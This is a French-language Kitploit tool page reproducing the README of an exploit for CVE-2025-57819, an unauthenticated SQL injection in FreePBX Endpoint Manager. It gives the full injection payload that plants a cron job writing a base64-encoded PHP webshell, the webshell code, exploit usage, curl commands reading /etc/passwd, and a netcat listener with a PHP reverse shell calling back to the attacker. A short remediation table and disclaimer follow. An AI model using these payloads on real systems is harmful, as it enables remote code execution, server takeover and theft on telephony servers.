Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
freepbx-endpoint-sqli-rce — Injection SQL non authentifiée dans FreePBX Endpoint Manager (CVE-2025-57819) qui injecte un webshell PHP planifié par cron pour une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

Injection SQL non authentifiée dans FreePBX Endpoint Manager (CVE-2025-57819) qui injecte un webshell PHP planifié par cron pour une exécution de code à distance.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-57819 — Injection SQL du module Endpoint FreePBX → Exécution de code à distance

Résumé

FreePBX est l'interface graphique web open-source d'Asterisk PBX, largement déployée dans les environnements téléphoniques d'entreprise. Le module Endpoint Manager expose un gestionnaire AJAX à l'adresse /admin/ajax.php qui accepte un paramètre brand et l'interpole directement dans une requête SQL sans assainissement. Un attaquant distant non authentifié peut injecter du SQL arbitraire, insérer une ligne dans la table cron_jobs, et faire en sorte que le démon cron de FreePBX écrive un webshell PHP exécutable dans la racine web — ce qui permet une exécution de code à distance non authentifiée en environ une minute.


Détails de la vulnérabilité

ChampValeur
ID CVECVE-2025-57819
Score CVSS9,8 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL
ComposantModule Endpoint Manager FreePBX
AffectéFreePBX 17.x (non patché)
CorrigéFreePBX 17.x (patché)
Vecteur d'attaqueRéseau — Aucune authentification requise

Analyse technique

La requête vulnérable cible le gestionnaire de commandes AJAX du Endpoint Manager :

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <cible>

Le paramètre brand est concaténé dans une requête SQL sans échappement ni instructions préparées. Un attaquant ferme la chaîne de requête et ajoute une seconde instruction :

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

L'entrée cron injectée s'exécute chaque minute sous le propriétaire du processus serveur web/Asterisk et écrit :

root@kitploit:~
<?php system($_GET[cmd]); ?>

dans /var/www/html/webshell.php, offrant une exécution de commande OS non authentifiée via HTTP.

Cause racine

Le gestionnaire AJAX du Endpoint Manager construit le SQL dynamiquement en utilisant un formatage de chaîne plutôt que des requêtes paramétrées. Le champ brand n'est jamais validé ni échappé avant d'être intégré dans une instruction SELECT, ce qui le rend trivialement injectable.

Chaîne d'attaque

root@kitploit:~
Attaquant  ──GET (injection SQL)──▶  /admin/ajax.php  ──INSERT──▶  table cron_jobs
                                                                          │
                                              Démon cron FreePBX (≤60s) │
                                                                          ▼
Attaquant  ──GET ?cmd=id──────────▶  /webshell.php  ◀── écrit ──  exec cron

Utilisation de l'exploit

Prérequis

root@kitploit:~
pip install requests urllib3

Arguments

root@kitploit:~
  -t, --target    Adresse IP ou nom d'hôte cible  (obligatoire)
      --timeout   Secondes d'attente pour la disponibilité de la cible (défaut : 30)
      --delay     Secondes d'attente pour l'exécution du cron (défaut : 65)

Pas à pas

1. Exécutez l'exploit contre la cible :

root@kitploit:~
# Basique — attendre 65 s pour que le cron s'exécute
python3 exploit.py -t <IP>

# Utiliser un nom d'hôte
python3 exploit.py -t connected.htb

# Attente cron étendue sur cibles lentes
python3 exploit.py -t <IP> --delay 90

2. Si le webshell est confirmé, interagissez directement avec lui :

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Passez à un reverse shell via le webshell :

Démarrez un écouteur sur votre machine :

root@kitploit:~
nc -lvnp <LOCAL_PORT>

Puis déclenchez un reverse shell PHP via le paramètre cmd (encodé URL) :

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

La charge utile décodée envoyée en tant que cmd est :

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

Sortie attendue

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  Module Endpoint FreePBX  ·  Injection SQL → Webshell Cron       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  ID CVE      :  CVE-2025-57819
  Composant   :  Module Endpoint FreePBX
  Affecté     :  17.x non patché   →  Corrigé : 17.x patché
  Score CVSS  :  9,8 (Critique)
  Vecteur CVSS:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — Injection SQL
  Type        :  Injection SQL non authentifiée → Webshell PHP programmé par cron
  Référence   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Sondage de la cible <IP>  (max 30s) ...
  14:03:12 [+] Cible en vie — HTTP 200

  14:03:12 [*] Point d'injection : http://<IP>/admin/ajax.php
  14:03:12 [!] Injection du cron via injection SQL ...

  14:03:12 [+] Requête d'injection envoyée
  14:03:12 [*] Attente de 65s pour l'exécution du cron ...
  14:04:17 [*] Sondage du webshell à http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell actif — sortie de la commande :

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] URL du webshell : http://<IP>/webshell.php?cmd=<commande>

  14:04:17 [+] Routine d'exploitation terminée.

Note temporelle. Le --delay par défaut de 65 secondes garantit que le démon cron (qui se déclenche au début de chaque minute) a eu au moins une opportunité d'exécuter la tâche injectée. Sur cibles lentes, augmentez à --delay 90 ou --delay 120.


Remédiation

PrioritéAction
CritiqueAppliquer immédiatement le patch fournisseur FreePBX pour CVE-2025-57819
CritiqueSupprimer tout artefact /var/www/html/webshell.php existant
HauteRestreindre l'accès à /admin/ajax.php aux sources réseau authentifiées et de confiance
HauteAuditer et assainir toutes les requêtes SQL dans Endpoint Manager — utiliser des instructions préparées
MoyenneRestreindre la table cron_jobs : limiter les rôles pouvant faire INSERT
MoyenneAppliquer une règle WAF bloquant les motifs de requêtes empilées sur le point d'accès AJAX
BasseExécuter le processus FreePBX/Asterisk sous un compte de privilège minimal sans accès en écriture à la racine web

Références

  • NVD — CVE-2025-57819
  • CWE-89 : Injection SQL
  • OWASP : Injection SQL
  • OWASP Top 10 : A03 Injection
  • Projet FreePBX
  • PoC de référence watchTowr Labs

Avertissement

Cet exploit est fourni strictement à des fins éducatives et pour des tests de sécurité autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique.

Télécharger l’outil